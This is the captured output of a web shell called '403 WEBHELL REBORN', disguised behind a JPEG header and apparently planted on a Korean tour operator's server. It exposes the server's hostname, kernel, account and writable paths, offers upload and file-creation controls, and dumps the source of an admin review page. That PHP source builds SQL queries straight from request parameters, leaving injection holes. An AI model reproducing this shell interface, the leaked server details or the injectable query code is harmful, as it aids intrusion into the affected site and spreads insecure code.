ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/good_review.html
<?
include "../include/top.html";

// 상품정보
$arr = good_list(" and g_uid='{$g_uid}' ");
$row = good_list_replace($arr[0]);

if(!$tab) {
	$tab=$row['tab'];
}
include "_common.php";


// 1차카테고리
//$bc_arr = TO_get_bc("","N"," and tab='{$tab}' ");
if($b_uid_s)	$bc_arr = TO_get_bc($b_uid_s,"N"," and tab='{$tab}' ");
else			$bc_arr = TO_get_bc("","N"," and tab='{$tab}' ");

//언어
$lang = $bc_arr[0][b_lang];	


// 국가 목록
$country_arr = to_area_b("",""," and DelFlag='N' ",$lang); 
//$country_arr = to_area_b("",""," and DelFlag='N' "); 

// 특징아이콘
if($lang=='ko' || $lang=='ag')	$icon_code = "TSPE";
elseif($lang=='en')				$icon_code = "TSIE";
elseif($lang=='cn')				$icon_code = "TSIC";
elseif($lang=='hk')				$icon_code = "TSIH";

$special_arr = base_codec("TGO",$icon_code,"","N");

// 관리자목록
$admin_arr = member_fetch(" and mb_level <= 10  and del_flag='N' ");

// 미팅장소
$meeting_place_arr = $row['g_meeting_all'];

//관련상품
	//모든 1차카테고리 
	$data_bc1 = TO_get_bc($g_uid_s,"N"," and tab='{$tab}' ");
	$lang = $data_bc1[0]['b_lang'];
	
	
	//관련상품 출력
	$regood_arr = array();
	$regood = db_query("select * from TB_GOOD_RELATED where g_uid='$g_uid' order by ordernum");
	while ($rowgood = db_fetch_array($regood)) {
		$regood_arr[] = $rowgood;
	}
	$CommonTour = new CommonTour();
	
	
		$sql_where = " WHERE `g_uid`='".$g_uid."'";
		//$correct_table = 'REVIEW';
		$correct_table = 'REVIEW_INTERGRATED';

		$sql = "SELECT * FROM `REVIEW` ".$sql_where;
		$rs = db_query($sql);
		while ($v = db_fetch_array($rs)) {
			$correct_table = 'REVIEW';
            $url_domain = 'https://www.tourboss.co.kr/';
		}
		
		$sql = "SELECT * FROM `TWREV` ".$sql_where;
		$rs = db_query($sql);
		while ($v = db_fetch_array($rs)) {
			$correct_table = 'TWREV';
            $url_domain = 'https://www.tktravelkorea.com/';
		}
		
		$sql = "SELECT * FROM `CNREV` ".$sql_where;
		$rs = db_query($sql);
		while ($v = db_fetch_array($rs)) {
			$correct_table = 'CNREV';
            $url_domain = 'https://www.tktravelkorea.com/';
		}		
		
		$sql = "SELECT * FROM `ENREV` ".$sql_where;
		$rs = db_query($sql);
		while ($v = db_fetch_array($rs)) {
			$correct_table = 'ENREV';
            $url_domain = 'https://www.tktravelkorea.com/';
		}	
	
		
	$BD_CD = $correct_table;
	
	if($BD_CD=='ENREV')		{$lang='en';$bbs_review=$BD_CD;}
elseif($BD_CD=='CNREV')	{$lang='cn';$bbs_review=$BD_CD;}
elseif($BD_CD=='TWREV')	{$lang='hk';$bbs_review=$BD_CD;}
elseif($BD_CD=='REVIEW'){$lang='ko';$bbs_review=$BD_CD;}
else					{$lang='ko';$bbs_review=$BD_CD;}

$BOARD_INFO = board_info_list('',$BD_CD);
$BOARD_INFO = $BOARD_INFO[0];

$sql = "SELECT * FROM `good` WHERE `g_uid` = '".$g_uid."'";
$rs = db_query($sql);
$title = db_fetch_array($rs);


//검색
if ($mode == "search" && $input_key) {
	$sql_where .= " and ".$select_key." like '%".$input_key."%' ";
}

//if($b_uid_s) $sql_where .= " and b_uid= '{$b_uid_s}' ";

// 정렬 설정
$sql_order = "";
if ($BOARD_INFO[BD_OD] == "Y") $sql_order .= " OrderNum ASC, ";
$sql_order .= " FIXED_YN ASC, MREF DESC, MSTEP ASC, MSEQ DESC ";


$total = TBL_TOTAL($BD_CD,$sql_where);

/*if(devCookie()){
    echo $total;
    exit;
}*/


$total = TBL_TOTAL($BD_CD,$sql_where);

$notanswered_icon = '';


// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = ($BOARD_INFO[BD_PS])?$BOARD_INFO[BD_PS]:20; // 보여줄 갯수
$list = ($BOARD_INFO[BD_PM])?$BOARD_INFO[BD_PM]:10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);


$sql = "SELECT * FROM `".$correct_table."`".$sql_where." ORDER BY ".$sql_order." LIMIT ".$olds." , ".$line;
$rs = db_query($sql);


//if(devCookie()) {
//    p($sql);
//}
//리스트불러오기
//$CMM = board_list($correct_table,$sql_where,$sql_order,$olds,$line);


//print_r($CMM);

//파라메터
$href = "BD_CD=".str_replace( '`', '', $BD_CD);
$href.= "&b_uid_s=$b_uid_s";
$href.= "&m_uid_s=$m_uid_s";
$href.= "&s_uid_s=$s_uid_s";
$href.= "&g_uid=$g_uid";
$href.= "&mseq=$MSEQ";
$href.= "&mode=$mode";
$href.= "&select_key=$select_key";
$href.= "&input_key=$input_key";
$param = $href."&page=$page";

// 1차카테고리
//$data_bc = TO_get_bc("","N");
//$data_bc = TO_get_bc("","N"," and b_lang='{$lang}' ");


?>
<style>
    .seoImg img{width:18px}
    .seoImg span{margin-right:17px}
</style>
<script type="text/javascript">
$(document).ready(function(){
	var tbl = $("#board_list_tbl");
	 
	// 테이블 헤더에 있는 checkbox 클릭시
	$("#checkall", tbl).click(function(){
		
		if( $(this).prop("checked")){
			//$(":checkbox", tbl).attr("checked",true);
			$(":checkbox", tbl).attr('checked','checked');
			
		}else{
			//$(":checkbox", tbl).attr('checked',false);
			$(":checkbox", tbl).removeAttr('checked');
		}

		// 모든 체크박스에 change 이벤트 발생시키기                
		//$(":checkbox", tbl).trigger("change");
	});
	 
	// 헤더에 있는 체크박스외 다른 체크박스 클릭시
	$(":checkbox:not(:first)", tbl).click(function(){
		var allCnt = $(":checkbox:not(:first)", tbl).length;
		var checkedCnt = $(":checkbox:not(:first)", tbl).filter(":checked").length;
		 
		// 전체 체크박스 갯수와 현재 체크된 체크박스 갯수를 비교해서 헤더에 있는 체크박스 체크할지 말지 판단
		if( allCnt==checkedCnt ){
			$(":checkbox:first", tbl).attr("checked", true);
		}else{
			$(":checkbox:first", tbl).attr("checked", false);
		}
	});
});

function board_del(MSEQ){
	if(!MSEQ) return;

	if(MSEQ=='check'){
		var checkedCnt = $(":checkbox:not(:first)").filter(":checked").length;
		if(checkedCnt==0){ 
			alert('삭제할 글을 체크해주세요');
			return;
		}
		if(confirm('삭제후 글을 복원할 수 없습니다. 삭제하시겠습니까?')){
			document.getElementById('SqlType').value = "delete";
			ajax_post('','proc.php','board_List');
		}
	}else{
		if(confirm('삭제후 글을 복원할 수 없습니다. 삭제하시겠습니까?')){
//			alert('<?=$param?>&SqlType=delete&MSEQ[0]='+MSEQ);
			//ajax_post('testdiv','proc.php','','<?=$param?>&SqlType=delete&MSEQ[0]='+MSEQ);
			//alert("proc.php?<?=$param?>&SqlType=delete&MSEQ[0]="+MSEQ);

			location.href = "proc.php?SqlType=delete&MSEQ[0]="+MSEQ+"&<?=$param?>";
		}
	}

}
</script>



<div class="contents_wrap">
        <div class="contents_wrap_in">
			<div class="title">게시판 관리<span class="arrow">&gt;</span><strong><?=str_replace( '`', '', $title['g_title']);?></strong></div>
                <div class="contents_detail">
                    <form name="Search_List" method="GET" action="<?=$PHP_SELF?>">
                        <input type="hidden" name="mode" value="search" />
                        <input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
                        <!---<div class="c_top_bar">
                           <ul class="c_top_search">
                                <li>
                                    <select name="select_key" id="select_key">
                                        <option value="MTITLE" <?if($select_key=='MTITLE') echo "selected";?>>제목</option>
                                        <option value="MEM_NM" <?if($select_key=='MEM_NM') echo "selected";?>>작성자</option>
                                        <option value="MCONT" <?if($select_key=='MCONT') echo "selected";?>>내용</option>
                                    </select>
                                </li>
                                <li>
                                    <label for="input_key" class="v_none2">검색어 입력</label>
                                    <input class="search_box" id="input_key" name="input_key" type="text" value="<?=$input_key?>" />
                                    <input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
                                    <?=$not_answered_button?>
                                </li>
                            </ul>
                        </div>--->
				    </form>
                    <div id="Content_box">
					 <!-- 본문 -->
					<? include "_menu.html"; ?>
					<!-- 폼 -->
				
                        <div class="top_txt_s">
			                <div class="bar_wrap">
      	                        <p class="search_result_txt"><span>Total : <?=$total?></span> </p>
				                    <ul class="search_rt_btn">
                                    <?php if($BOARD_INFO['BD_CD']==$bbs_review) {?>
                                    <li>
                                        <select name="b_uid_s" id="b_uid_s" style="width:180px;height:32px">
                                            <option value="">==1차카테고리==</option>
                                            <?php foreach($data_bc as $v){?>
                                                <option value="<?=$v['b_uid']?>" <?=($b_uid_s==$v['b_uid'])?"selected":""?>><?=$v['b_name']?></option>
                                            <?php }?>
                                        </select>
                                    </li>
                                    <?php }?>
                                    <?if($BOARD_INFO['BD_CG']=="Y"){//코멘트?>
                                    <li><a class="Tbtn" href="#" onclick="to_dialog.ajax('ComListAll.php?BD_CD=<?=$BD_CD?>','전체코멘트관리', 800, 600, false, false);return false;">전체코멘트관리</a></li>
                                    <?}?>
                                    <li><a class="Tbtn red" href="../board/write.html?BD_CD=<?=$BD_CD?>">등록</a></li>
                                    <li><a class="Tbtn gray" href="#" onclick="board_del('check'); return false;">삭제</a></li>
                                </ul>
                                </div>
                            </div>

                    <form name="board_List" id="board_List" method="POST">
                        <input type="hidden" name="SqlType" id="SqlType" value="" />
                        <input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
                        <table width="100%" border="0" cellspacing="0" cellpadding="0" id="board_list_tbl" class="t_list" summary="게시물을 확인하실 수 있습니다.">
                        <caption>게시물 확인</caption>
                        <colgroup>
                        <col style=" width:40px" />
                        <col style=" width:40px" />
                        <col />
                        <?if($BOARD_INFO['BD_CD']==$bbs_review){?><col style=" width:400px" /><?php }?>
                        <col style=" width:100px" />
                        <col style=" width:100px" />
                        <col style=" width:60px" />
                        <col style=" width:110px" />
                        <col style=" width:100px" />
                        <col style=" width:60px" />
                        <col style=" width:60px" />
                        </colgroup>
                        <thead>
                        <tr>
                                <th scope="col"><label for="checkall" class="v_none2">선택 체크</label><input type="checkbox" name="checkall" id="checkall" /></th>
                        <th scope="col"><?if($BOARD_INFO[BD_OD]=='Y'){?><img src="../image/btn/btn_num.gif" alt="순서" /><?}else{?>No<?}?></th>
                        <th scope="col">제목/내용</th>
                        <?if($BOARD_INFO['BD_CD']==$bbs_review){?><th scope="col">리뷰상품명</th><?php }?>
                        <th scope="col">고객ID</th>
                        <th scope="col">작성자</th>
                        <th scope="col">조회수</th>
                        <th scope="col">작성자IP주소</th>
                        <th scope="col">등록일</th>
                        <th scope="col">미리보기</th>
                        <th scope="col">수정</th>
                        <th scope="col">삭제</th>
                        </tr>
                        </thead>
                        <tbody>
                                <?
								$num = 0;


                                $review_comt = $correct_table.'_COMT';

                                $review_total_sql = "SELECT COUNT(*) AS TOTAL FROM `".$review_comt."` WHERE `MSEQ`='".$row[MSEQ]."'";
                                $review_total_rs = db_query($review_total_sql);
                                $review_total_cm = db_fetch_array($review_total_rs);

                                $total += $review_total_cm['TOTAL'];

                                $i = 0;

								
                                while ($row = db_fetch_array($rs)) {

                                    $review_comt_sql = "SELECT * FROM `".$review_comt."` WHERE `MSEQ`='".$row[MSEQ]."'";


                                    $review_comt_rs = db_query($review_comt_sql);
                                    if ($review_comt_cm = db_fetch_array($review_comt_rs)) {
                                        $not_answered = 'no';
                                    }
                                    else
                                        $not_answered = 'yes';

                                    //$row = $CMM[$i];
                                   // if ($BOARD_INFO[BD_OD] == "Y") $num = $row[OrderNum];
                                   // else 
								    $num = $total - ($page - 1) * $line - $i;
                                    $i++;

                                    $notanswer_explode = explode(" ", $notanswer);

                                    $MFILE_IMG = "";
                                    for($j=1;$j<=$BOARD_INFO['BD_FL'];$j++){
                                        if($row["MFILE".$j]!=""){
                                            $MFILE_IMG="<img src='../../image/board/bullet_disk.gif' align='absmiddle' alt='첨부파일' />";
                                        }
                                    }

                                    $FontTitle = "";
                                    if($row['MLEVEL']>0){
                                        if($row['MLEVEL'] > 5){
                                            $row['MLEVEL']=5;
                                        }
                                        for($j=1;$j<=$row['MLEVEL'];$j++){
                                            $FontTitle .= "&nbsp;&nbsp;&nbsp;";
                                        }
                                    }

                                    //리플이미지
                                    if($row['MSTEP']>0){
                                        $REPLE_IMG = "<img src='../../image/board/re.gif' />";
                                    }else{
                                        $REPLE_IMG ="";
                                    }

                                    $FontTitle .= $REPLE_IMG;

                                    //비밀글여부
                                    if($row['SECRET']=="Y"){
                                        $SECRET_IMG="<img src='../../image/board/secret.gif' align='top' alt='비밀글' /> ";
                                    }else{
                                        $SECRET_IMG="";
                                    }

                                    //글번호
                                    if($row['FIXED_YN']=="Y"){
                                        $NOTICE_IMG="<img src='../../image/board/notice.gif' align='top' alt='공지사항' />";
                                    }else{
                                        $NOTICE_IMG="";
                                    }

                                    //코멘트
                                    if($BOARD_INFO['BD_CG']=="Y"){
                                        if($row[COMT_CNT]>0){
                                            $CTOTAL  = "<a href=\"javascript:to_dialog.ajax('ComList.php?BD_CD=".str_replace( '`', '', $BD_CD)."&MSEQ=".$row[MSEQ]."','코멘트', 800, 600, false, false)\">";
                                            $CTOTAL .= "<img src='../../image/board/btu_comment.gif' align='absmiddle' border='0' alt='코멘트관리' /><span class='comment c_red'>(".$row[COMT_CNT].")</span></a>";
                                        }else{
                                            $CTOTAL ="";
                                        }
                                    }


                                    if(strpos($FontTitle,'script') !== false){
                                        continue;
                                    }


                                    $num1 = $num-1;

                        ?>
                        <tr>
                        <td><label for="MSEQ_<?=$i?>" class="v_none2">선택삭제 체크</label><input type="checkbox" name="MSEQ[]" id="MSEQ_<?=$i?>" value="<?=$row[MSEQ]?>" /></td>
                        <td><?=$num?></td>
                        <td class="t_title">
                            <?=$NOTICE_IMG?>
                            <?=$FontTitle?>
                            <?=$SECRET_IMG?>
                            <a href="../board/write.html?<?=$param?>&MSEQ=<?=$row[MSEQ]?>"><?=$row[MTITLE]?></a>
                            <?=$MFILE_IMG?>
                            <?=$CTOTAL?>
                            <? foreach($notanswer_explode as $notanswer_explode_item) {
                            if ($not_answered == 'yes')
                            {
                            echo "<span style='padding-left:2px;'></span><span style='color:#ffffff; background-color:#ff0000; padding:1px'><b>미답변</b></span>";
                            }
                            }?>
                            <?
                            $redirect = $url_domain.'../../good/info_main.html?b_uid_s='.$title['b_uid'].'&m_uid_s='.$title['m_uid'].'&s_uid_s='.$title['s_uid'].'&g_uid='.$title['g_uid'];
                            ?>
                            <?if($BOARD_INFO['BD_CD']==$bbs_review){?><td><a href="<?=$redirect?>" target="_blank"><?=$title['g_title']?></a></td><?php }?>
                        <td><?=$row[MEM_ID]?></td>
                        <td><?=$row[MEM_NM]?></td>
                        <td><?=$row[READCNT]?></td>
                        <td><?=$row[INSIP]?></td>
                        <td><?=str_replace('-','.',$row[INSDT])?></td>
                        <td><img src="../image/board/btn_preview.gif" alt="등록확인하기" onclick="window.open('<?=$redirect?>')" style="cursor: pointer;"></td>
                        <td><a <a href="../board/write.html?<?=$param?>&MSEQ=<?=$row[MSEQ]?>" class="sch_btn" style="width: 40px;">수정</a></td>
                        <td><input type="image" src="../image/btn/btn_delete.gif" align="top" alt="삭제" /></a></td>
                        </tr>
						<?
						if ($review_comt_cm['CCONT'] != '') {
						?>
						<tr>
						<td><label for="COMT_MSEQ_<?=$i?>" class="v_none2">선택삭제 체크</label><input type="checkbox" name="COMT_MSEQ[]" id="COMT_MSEQ_<?=$i?>" value="<?=$review_comt_cm[MSEQ]?>" /></td>
						<td><br/></td>
						<td style="text-align:left; padding-left:20px;" colspan="2"><img src="../../image/board/re.gif"><span style="font-weight: bold;">[RE]</span><?=$review_comt_cm['CCONT']?></td>
						<td><?=$review_comt_cm['CMEM_ID']?></td>
						<td><?=$review_comt_cm['CMEM_NM']?></td>
						<td></td>
						<td><?=$review_comt_cm['INSIP']?></td>
						<td><?=str_replace('-','.',$review_comt_cm[INSDT])?></td>
                        <td></td>
						</tr>
						 <?}?>
                         <?}?>

                        </tbody>
                       </table>
                     </form>

                        <?=adm_get_paging($total_page, $page, $list, "?$href&page=", "")?>
                  </div>
                </div>
            </div>
          </div>

<script type="text/javascript">
	function edit_frm()
	{
		var f=document.frm_seo_edt;

		var result = to_validation(f);
		if (result==false) return false;

		if(!confirm('SEO 정보를 수정하시겠습니까?')) return false;

		f.action = "good_proc.php";

		f.submit();
	}
</script>
<?
include "../include/footer.html";
?>

Anon7 - 2021